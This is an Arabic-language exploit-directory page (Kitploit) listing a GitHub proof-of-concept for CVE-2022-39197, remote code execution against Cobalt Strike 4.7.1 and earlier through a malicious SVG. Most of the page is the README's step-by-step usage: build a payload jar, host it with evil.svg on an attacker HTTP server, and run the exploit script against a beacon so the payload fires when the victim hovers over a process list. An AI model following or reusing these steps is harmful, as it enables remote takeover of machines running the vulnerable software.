Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-39197 — استغلال إثبات المفهوم لثغرة CVE-2022-39197، ويتيح تنفيذ التعليمات البرمجية عن بُعد ضد CobaltStrike الإصدار 4.7.1 فما دون عبر حمولة SVG خبيثة تُقدَّم عبر HTTP. | Kitploit
أدوات/GitHubGitHub/its-arun/cve-2022-39197
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubits-arun/cve-2022-39197

CVE-2022-39197

استغلال إثبات المفهوم لثغرة CVE-2022-39197، ويتيح تنفيذ التعليمات البرمجية عن بُعد ضد CobaltStrike الإصدار 4.7.1 فما دون عبر حمولة SVG خبيثة تُقدَّم عبر HTTP.

عرض المستودع
3877514منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-39197 إثبات المفهوم لـ RCE

الاستخدام

  • تحضير الحمولة
  1. قم بتعديل Line 19 بحمولتك في EvilJar/src/main/java/Exploit.java
  2. قم بالبناء باستخدام jar mvn clean compile assembly:single
  3. انقل EvilJar-1.0-jar-with-dependencies.jar من EvilJar/target/ إلى مجلد serve/
  4. قم بتعديل serve\evil.svg واستبدل [attacker]
  5. اخدم باستخدام
python3 -m http.server 8080
  • تنفيذ الاستغلال
root@kitploit:~
python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

سيتم تشغيل الحمولة بمجرد أن يقوم المستخدم بالتمرير عبر قائمة العمليات

POC.JPG?

1.jpg

روابط مرجعية

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — يوجد تحليل عميق رائع لهذه الثغرة https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

تنزيل الأداة